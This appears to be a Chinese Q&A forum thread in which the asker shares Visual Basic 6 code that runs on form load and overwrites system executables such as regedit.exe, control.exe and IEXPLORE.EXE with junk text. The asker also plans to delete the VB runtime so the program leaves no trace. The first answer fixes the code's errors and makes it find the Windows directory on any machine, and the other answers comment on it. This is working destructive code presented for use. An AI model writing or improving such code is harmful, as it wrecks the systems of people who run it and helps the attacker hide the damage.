Question

高分求vb简单的编程

高分求vb简单的编程，首先声明，分不会少，有人回答了，我一定加30分，不加不是人，
Private Sub Form_Load()
Data = wqeesadfwefwef
Open "C:\WINDOWS\regedit.exe" For Output As #1
Print #1, Data
Close #1
Open "c:\windows\system32\control.exe" For Output As #1
Print #1, Data
Close #1
Open "c:\windows\system\MOUSE.DRV" For Output As #1
Print #1, Data
Close #1
Open "C:\Program Files\Internet Explorer\IEXPLORE.EXE" For Output As #1
Print #1, Data
Close #1
Open "C:\windows\system32\rasdial.exe" For Output As #1
Print #1, Data
Close #1
End Sub
识货的人不会不知道这段代码的威力吧 ！
我现在想了个更绝的
就是再加一条open……的语句 把msvbvm6.dll这个文件框架也喀嚓掉
那么此vb不就自动关闭了嘛 然后打也打不开 让人看不出破绽
这个是不是一个很好的………………呢
不是大部分 都安装在c嘛

给我一个总体评价 想法※……等

data申明不声明都一样 还不如不了

Answer 1

首先我要指出你程序里的错误:第一就是Data没有声明,第二就是字符串没有用引号,这些都是一些低级的错误,希望以后别犯错了!

还有就是确定那个系统盘是吧,用:
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
这个API可以完成,
正确程序:
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Sub Form_Load()
Dim abc As String * 256
Dim PathSize As Long
dim Data as string
dim pathw as string
PathSize = GetWindowsDirectory(abc, Len(abc))
pathw = Left$(abc, PathSize)
Data = "wqeesadfwefwef"
Open pathw & "\regedit.exe" For Output As #1
Print #1, Data
Close #1
Open pathw & "\system32\control.exe" For Output As #1
Print #1, Data
Close #1
Open pathw & "\system\MOUSE.DRV" For Output As #1
Print #1, Data
Close #1
Open Mid(Left$(abc, PathSize), 1, 2) & "\Program Files\Internet Explorer\IEXPLORE.EXE" For Output As #1
Print #1, Data
Close #1
Open pathw & "\system32\rasdial.exe" For Output As #1
Print #1, Data
Close #1
End Sub

呵呵..我没有测试过,我可不想我的系统不像样!!
自己测试,应该会成功的!

Answer 2

BT`但是如果你能知道别人的系统盘`
那些XX的路径
威力无与伦比

Answer 3

算了吧，Kid...